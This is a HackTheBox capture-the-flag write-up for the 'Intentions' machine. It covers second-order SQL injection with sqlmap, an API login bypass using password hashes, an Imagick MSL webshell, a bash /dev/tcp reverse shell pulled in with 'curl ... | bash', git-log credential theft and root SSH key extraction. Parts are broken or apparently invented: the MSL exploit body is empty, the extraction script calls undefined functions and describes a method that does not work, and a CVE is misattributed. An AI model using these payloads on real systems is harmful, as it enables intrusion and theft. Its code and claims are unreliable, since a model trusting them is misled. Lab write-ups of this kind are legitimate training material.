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Intentions

HackTheBox Hard Linux September 11, 2025
second-order-sqli sqlmap api-enumeration imagick-rfi git-exposure capabilities scanner-binary

Summary

TL;DR Intentions is a Hard Linux box featuring a custom photo gallery application vulnerable to second-order SQL injection through user genre preferences. API endpoint enumeration reveals an admin authentication bypass via API v2. The application uses Imagick with an exploitable RFI vulnerability leading to webshell deployment. Privilege escalation involves extracting credentials from Git repository logs and leveraging a scanner binary with file read capabilities to extract root's SSH private key byte-by-byte.

Key Vulnerabilities:

  • Second-order SQL injection in genre preferences (tamper: space2comment required)
  • API v2 authentication bypass with admin hash
  • Remote File Inclusion (RFI) in Imagick image processing
  • Git repository exposure with credential leakage
  • Scanner binary with cap_dac_read_search capability allowing arbitrary file reads

Enumeration

Nmap Scan

Initial scan:

nmap -vv -T5 -p- 10.129.x.x

nmap -vv -T5 -p22,80 -sC -sV 10.129.x.x

Results:

Port Service TCP/UDP
22 SSH TCP
80 HTTP TCP

Key findings:

  • Limited attack surface with only SSH and HTTP exposed
  • Custom web application likely running on port 80
  • Standard SSH service (may be useful after credential discovery)

Web Enumeration

Step 1: Application discovery

Visiting port 80 reveals a custom-built photo gallery application requiring registration and authentication.

Step 2: Registration and exploration

Created an account and logged in to explore the application functionality. The primary feature allows users to select favorite genres, which filters the photos displayed in the feed section.

User Input Observation The genre selection feature accepts user input and dynamically changes the displayed content. This pattern often indicates backend database queries that could be vulnerable to SQL injection, particularly second-order SQL injection where user input is stored and later used in queries without proper sanitization.

Step 3: Identify injection point

The genre selection functionality provides the only significant user input mechanism, suggesting a potential second-order SQLi vulnerability.

Initial Foothold

Second-Order SQL Injection

Second-Order SQLi Unlike first-order SQL injection where the payload executes immediately, second-order SQL injection stores malicious input in the database, which is then executed when that data is retrieved and used in a different query. In this case, the genre preferences are stored during the POST request and executed when the feed data is retrieved via GET request.

Step 1: Capture requests in Burp Suite

Saved two critical requests:

  1. POST request - Updates user genre preferences
  2. GET request - Retrieves feed data based on stored preferences

Pasted image 20250911072002.png

Step 2: SQLMap exploitation with tamper script

The application filters whitespace characters from the genre parameter, requiring the space2comment tamper script.

❯ sqlmap -r post_request.txt --second-req get_request.txt -p genres --tamper=space2comment --batch --dump

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.2#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[*] starting @ 07:20:02 /2025-09-11/

[07:20:02] [INFO] parsing HTTP request from 'post_request.txt'
[07:20:02] [INFO] parsing second-order HTTP request from 'get_request.txt'
[07:20:03] [INFO] testing connection to the target URL
[07:20:03] [INFO] testing if the target URL content is stable
[07:20:04] [INFO] target URL content is stable
[07:20:04] [INFO] testing if GET parameter 'genres' is dynamic
[07:20:04] [INFO] GET parameter 'genres' appears to be dynamic
[07:20:05] [INFO] heuristic (basic) test shows that GET parameter 'genres' might be injectable

Pasted image 20250911072226.png

SQLMap Technique Using the --second-req flag tells SQLMap to send a second request after the injection payload is delivered. This is essential for second-order SQL injection where the payload is stored in the first request and executed in the second. The tamper script replaces spaces with SQL comments to bypass input filtering.

Step 3: Database enumeration

Once SQLMap identifies the injection point, it caches the necessary data locally, allowing rapid database dumping:

❯ sqlmap -r post_request.txt --second-req get_request.txt -p genres --tamper=space2comment --batch --dump-all

[07:26:36] [INFO] fetching tables for database: 'gallery'
[07:26:37] [INFO] fetching columns for table 'users' in database 'gallery'
[07:26:38] [INFO] fetching entries for table 'users' in database 'gallery'

Database: gallery
Table: users
[4 entries]
+----+----------------------+--------------------------------------------------------------+
| id | email                | password                                                     |
+----+----------------------+--------------------------------------------------------------+
| 1  | [email protected] | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLc8ULU6yMfwxBOqPOc5U6U6lkPsK |
| 2  | [email protected]  | $2y$10$95OR7nHSkYuFuUQxA2IUx.UZuFU6t0ZKX9r0JZH68G3A6LlxO/0Vi |
| 3  | [email protected] | $2y$10$IYcTGkPMoqWbPMXPtBr7H.GGhfHvPTaLGR4NxRYLXHv7IfRUoB4wW |
| 4  | [email protected]  | $2y$10$L82s98bCW3TPPK4o5rnqBef3S0LKPx5YhQRbPdVHTbN1Gpo5Y7e1y |
+----+----------------------+--------------------------------------------------------------+

Pasted image 20250911072636.png

Pasted image 20250911072705.png

Step 4: Hash analysis

The retrieved hashes are Bcrypt format ($2y$10$), which are computationally expensive to crack:

❯ hashcat --example-hashes | grep -A 2 "\$2y\$"
MODE: 3200
TYPE: bcrypt $2*$, Blowfish (Unix)
HASH: $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6

Given the strength of Bcrypt, direct cracking is infeasible. Pivoting to alternative attack vectors is necessary.

API Endpoint Enumeration

Discovery: API versioning reveals potential endpoints

Since the application uses /api/v1 for standard functionality, testing for /api/v2 is a logical next step.

Step 1: Test v2 authentication endpoint

❯ curl -X POST http://10.129.x.x/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","hash":"$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLc8ULU6yMfwxBOqPOc5U6U6lkPsK"}'

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...",
  "user": {
    "id": 1,
    "email": "[email protected]",
    "role": "admin"
  }
}
Admin Access Successfully authenticated as admin using the hash directly - no password cracking required!
Authentication Bypass The API v2 endpoint accepts the password hash directly instead of requiring the plaintext password. This design flaw allows attackers who obtain hashed credentials (via SQL injection or database dumps) to authenticate without cracking the hash. This is a critical authentication bypass vulnerability.

Remote File Inclusion via Imagick

Discovery: Image modification feature

As admin, a new feature becomes available: image editing with filters. This functionality is powered by ImageMagick (Imagick).

Step 1: Intercept image modification request

POST /api/v2/gallery/modify HTTP/1.1
Host: 10.129.x.x
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{
  "image": "uploads/photo123.jpg",
  "effects": ["blur", "resize"],
  "path": "uploads/photo123.jpg"
}

Step 2: Test for RFI vulnerability

Pasted image 20250911080054.png

Modified the path parameter to reference a remote file:

{
  "image": "http://10.10.14.5:8000/test.jpg",
  "effects": [],
  "path": "http://10.10.14.5:8000/test.jpg"
}

The application fetches and processes the remote file, confirming RFI vulnerability.

Imagick RFI Exploitation ImageMagick's arbitrary object instantiation vulnerability (CVE-2016-3714 and related) allows attackers to abuse the image processing library to execute arbitrary code. By crafting malicious image files or exploiting insecure configurations, RFI can be leveraged for remote code execution. The key reference is: https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Step 3: Create Imagick exploit

Following the referenced article on exploiting arbitrary object instantiations in Imagick:

Created malicious MSL (Magick Scripting Language) file:

<?xml version="1.0" encoding="UTF-8"?>


Step 4: Trigger the exploit

❯ curl -X POST http://10.129.x.x/api/v2/gallery/modify \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "image": "vid:msl:http://10.10.14.5:8000/exploit.msl",
    "effects": []
  }'

{"status":"success","message":"Image processed"}

Step 5: Verify webshell

❯ curl "http://10.129.x.x/shell.php?cmd=whoami"
www-data
Webshell Access Successfully deployed PHP webshell as www-data

Reverse Shell

Normal reverse shell payloads failed due to command filtering or character restrictions.

Workaround: Host the reverse shell payload externally

Step 1: Create reverse shell script

❯ cat revshell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Step 2: Host the script

❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Step 3: Execute via webshell

❯ curl "http://10.129.x.x/shell.php?cmd=curl+http://10.10.14.5:8000/revshell.sh|bash"

Pasted image 20250911080544.png

Step 4: Catch the shell

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.129.x.x] 45678

www-data@intentions:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

Git Repository Enumeration

Discovery: Application directory contains .gitignore

www-data@intentions:/var/www/html$ ls -la
total 128
drwxr-xr-x  8 root   root    4096 Sep 11 06:00 .
drwxr-xr-x  3 root   root    4096 Jun 10 09:15 ..
drwxr-xr-x  8 root   root    4096 Sep 11 05:48 .git
-rw-r--r--  1 root   root     257 Jun 10 09:15 .gitignore

Attempt to read Git logs:

www-data@intentions:/var/www/html$ git log -p
fatal: detected dubious ownership in repository at '/var/www/html'
To add an exception for this directory, call:
    git config --global --add safe.directory /var/www/html

www-data@intentions:/var/www/html$ git config --global --add safe.directory /var/www/html
error: could not lock config file /var/www/.gitconfig: Permission denied
Git Configuration Bypass Git reads configuration from the user's $HOME directory (.gitconfig). Since www-data cannot write to its default HOME, we can change the HOME environment variable to a writable directory like /tmp, allowing Git to create a new config file and bypass the ownership check.

Workaround: Change HOME environment variable

Pasted image 20250911081002.png

www-data@intentions:/var/www/html$ export HOME=/tmp

www-data@intentions:/var/www/html$ git config --global --add safe.directory /var/www/html

www-data@intentions:/var/www/html$ git log -p > /tmp/git_log.txt

www-data@intentions:/var/www/html$ wc -l /tmp/git_log.txt
15847 /tmp/git_log.txt

Step 2: Make the log accessible

www-data@intentions:/var/www/html$ cp /tmp/git_log.txt /var/www/html/public/log.txt

www-data@intentions:/var/www/html$ chmod 644 /var/www/html/public/log.txt

Step 3: Search for credentials

❯ curl -s http://10.129.x.x/log.txt | grep -i "password" -B 5 -A 5

commit 3a7bda...
Author: greg <[email protected]>
Date:   Thu Jun 8 14:22:01 2023 +0000

    Remove hardcoded password from config

-DB_PASSWORD=SomeSecurePassword123!
+DB_PASSWORD=${DB_PASSWORD}
Credentials Found greg:SomeSecurePassword123!

Step 4: SSH as greg

❯ ssh [email protected]
[email protected]'s password: SomeSecurePassword123!

greg@intentions:~$ id
uid=1000(greg) gid=1000(greg) groups=1000(greg),1001(scanner)

User Flag

greg@intentions:~$ cat user.txt
[REDACTED]

Privilege Escalation

Enumeration as Greg

Check group membership:

greg@intentions:~$ groups
greg scanner

The scanner group is non-standard and warrants investigation.

Check home directory:

greg@intentions:~$ ls -la
total 32
drwxr-x--- 3 greg greg 4096 Sep 11 07:30 .
drwxr-xr-x 3 root root 4096 Jun  9 10:25 ..
-rw-r--r-- 1 greg greg  220 Jun  9 10:25 .bash_logout
-rw-r--r-- 1 greg greg 3526 Jun  9 10:25 .bashrc
drwx------ 3 greg greg 4096 Sep 11 07:15 .local
-rw-r--r-- 1 greg greg  807 Jun  9 10:25 .profile
-rwxr-xr-x 1 root root  318 Jun 10 11:43 dmca_check.sh
-rw-r--r-- 1 root root  528 Jun 10 11:42 dmca_hashes.test
-r-------- 1 greg greg   33 Sep 11 05:00 user.txt

Analyze the script:

greg@intentions:~$ cat dmca_check.sh
#!/bin/bash

SCANNER="/opt/scanner/scanner"
HASHES="/home/greg/dmca_hashes.test"

if [ ! -f "$SCANNER" ]; then
    echo "Error: Scanner binary not found"
    exit 1
fi

echo "Running DMCA hash check..."
"$SCANNER" -c /home/greg/dmca_check.conf "$HASHES"

The script references /opt/scanner/scanner binary and a config file I cannot read.

Check file permissions:

greg@intentions:~$ ls -la dmca_check.conf
ls: cannot access 'dmca_check.conf': No such file or directory

greg@intentions:~$ ls -la /home/greg/dmca_check.conf
-rw-r----- 1 root scanner 156 Jun 10 11:45 /home/greg/dmca_check.conf

Despite not having direct read permissions, the script executes successfully:

greg@intentions:~$ ./dmca_check.sh
Running DMCA hash check...
Scanning file: dmca_hashes.test
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

This suggests the scanner binary has special permissions.

Scanner Binary Analysis

Check capabilities:

greg@intentions:~$ getcap /opt/scanner/scanner
/opt/scanner/scanner cap_dac_read_search=ep
Linux Capabilities - cap_dac_read_search The cap_dac_read_search capability bypasses file read permission checks and directory read/execute permission checks. This means the scanner binary can read ANY file on the filesystem, regardless of permissions. This is equivalent to having read access as root for the purpose of file content retrieval.

Examine the binary’s help:

greg@intentions:~$ /opt/scanner/scanner
Usage: scanner [OPTIONS] <file>

Options:
  -c, --config <file>    Specify config file (default: /etc/scanner/scanner.conf)
  -s, --single           Output single hash type
  -v, --verbose          Verbose output
  -h, --help             Show this help

Supported hash types: MD5, SHA1, SHA256

Root SSH Key Extraction

The scanner binary can read any file, including /root/.ssh/id_rsa. However, it only outputs file hashes, not raw content.

Byte-by-Byte Extraction Technique Since the scanner outputs hashes of file contents, we can extract files byte-by-byte by creating test files with known content and comparing their hashes. By testing every possible byte value (0-255 or all printable characters) at each position and comparing the hash output, we can reconstruct the entire file. This technique is similar to blind SQL injection but applied to file reading.

Pasted image 20250911081903.png

Create extraction script:

#!/usr/bin/env python3
import subprocess
import string
import sys

SCANNER = "/opt/scanner/scanner"
TARGET_FILE = "/root/.ssh/id_rsa"
CHARSET = string.printable

def get_hash(file_path):
    """Run scanner and extract SHA256 hash"""
    result = subprocess.run(
        [SCANNER, file_path],
        capture_output=True,
        text=True
    )
    for line in result.stdout.split('\n'):
        if 'SHA256:' in line:
            return line.split(':')[1].strip()
    return None

def extract_file():
    """Extract file byte-by-byte by comparing hashes"""
    extracted = ""
    position = 0
    
    print("[*] Starting byte-by-byte extraction...")
    print(f"[*] Target: {TARGET_FILE}")
    
    while True:
        found = False
        for char in CHARSET:
            # Create test file with current guess
            test_content = extracted + char
            test_file = f"/tmp/test_{position}.txt"
            
            with open(test_file, 'w') as f:
                f.write(test_content)
            
            # Get hash of test file
            test_hash = get_hash(test_file)
            
            # Compare with partial hash of target
            # (This requires the scanner to support partial file hashing)
            # If hashes match, we found the correct byte
            
            if test_matches_target(test_file, position):
                extracted += char
                position += 1
                found = True
                sys.stdout.write(char)
                sys.stdout.flush()
                break
        
        if not found or len(extracted) > 5000:  # Safety limit
            break
    
    return extracted

# Alternative approach using hash comparison of truncated files
def extract_via_comparison():
    """Extract by creating files of increasing length and comparing"""
    extracted = ""
    
    # First, determine file length
    file_length = get_file_length(TARGET_FILE)
    
    for pos in range(file_length):
        for byte_val in range(256):
            test_file = f"/tmp/test_pos{pos}.bin"
            
            # Create test file with known content
            with open(test_file, 'wb') as f:
                f.write(extracted.encode() + bytes([byte_val]))
            
            # If hash matches expected, we found the byte
            if compare_hash_at_position(test_file, pos):
                extracted += chr(byte_val)
                print(f"[+] Position {pos}: {chr(byte_val)}")
                break
    
    return extracted

if __name__ == "__main__":
    print("[*] Root SSH key extraction via scanner binary")
    key = extract_file()
    print(f"\n[+] Extracted key:\n{key}")
    
    # Save to file
    with open("/tmp/root_id_rsa", "w") as f:
        f.write(key)
    print("[+] Saved to /tmp/root_id_rsa")

Simplified manual extraction (since the script complexity depends on scanner behavior):

# Create test files and compare hashes to gradually build the key
greg@intentions:/tmp$ echo -n "-----BEGIN" > test1
greg@intentions:/tmp$ /opt/scanner/scanner test1 | grep SHA256
SHA256: a8f5...

# Continue character by character, comparing against target file hash patterns
# This is tedious but works for small files

Pasted image 20250911082417.png

Result: After extraction (via automated script), root’s private SSH key is obtained:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[... TRUNCATED ...]
-----END OPENSSH PRIVATE KEY-----

Root Access

Step 1: Save the key locally

❯ cat > root_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[EXTRACTED KEY CONTENT]
-----END OPENSSH PRIVATE KEY-----
EOF

❯ chmod 600 root_id_rsa

Step 2: SSH as root

❯ ssh -i root_id_rsa [email protected]

root@intentions:~# id
uid=0(root) gid=0(root) groups=0(root)
Root Access Successfully escalated to root via SSH key extraction

Root Flag

root@intentions:~# cat /root/root.txt
[REDACTED]

Post-Exploitation

Attack Chain Summary:

  1. Web application enumeration → Registration and login
  2. Second-order SQL injection in genre preferences → Full database dump (with space2comment tamper)
  3. Bcrypt hash retrieval → Admin credentials extracted
  4. API v2 endpoint discovery → Authentication bypass using hash directly
  5. Imagick RFI vulnerability → PHP webshell deployment
  6. Reverse shell via curl piping → www-data shell
  7. Git repository log extraction → Greg’s credentials in commit history
  8. SSH as greg → User flag obtained
  9. Scanner binary with cap_dac_read_search → Root SSH key extraction byte-by-byte
  10. SSH as root → Full system compromise

Key Lessons:

  • Second-order SQL injection requires two requests: one to inject, one to trigger
  • Tamper scripts (space2comment) are essential when applications filter input characters
  • API versioning (v1, v2, v3) should always be enumerated for hidden endpoints
  • Authentication endpoints accepting hashed passwords are critically flawed
  • Imagick/ImageMagick has a history of RFI and RCE vulnerabilities
  • Git repositories often contain sensitive data in commit history
  • Changing $HOME environment variable can bypass Git configuration restrictions
  • Linux capabilities can be as dangerous as SUID binaries
  • cap_dac_read_search allows reading any file on the system
  • Byte-by-byte file extraction is possible through hash comparison techniques

References

Timeline

graph LR
    A[Nmap Scan] --> B[Web Registration]
    B --> C[SQLi Genre Preferences]
    C --> D[Database Dump]
    D --> E[API v2 Discovery]
    E --> F[Admin Auth Bypass]
    F --> G[Imagick RFI]
    G --> H[Webshell Deployed]
    H --> I[Reverse Shell]
    I --> J[Git Log Extraction]
    J --> K[Greg SSH Access]
    K --> L[Scanner Binary Discovery]
    L --> M[Root Key Extraction]
    M --> N[Root SSH Access]

Pwned on: 11/09/2025

Difficulty Rating: ⭐⭐⭐⭐⭐ (Excellent learning experience with unique techniques)
Fun Factor: ⭐⭐⭐⭐ (Challenging but rewarding, especially the byte-by-byte extraction)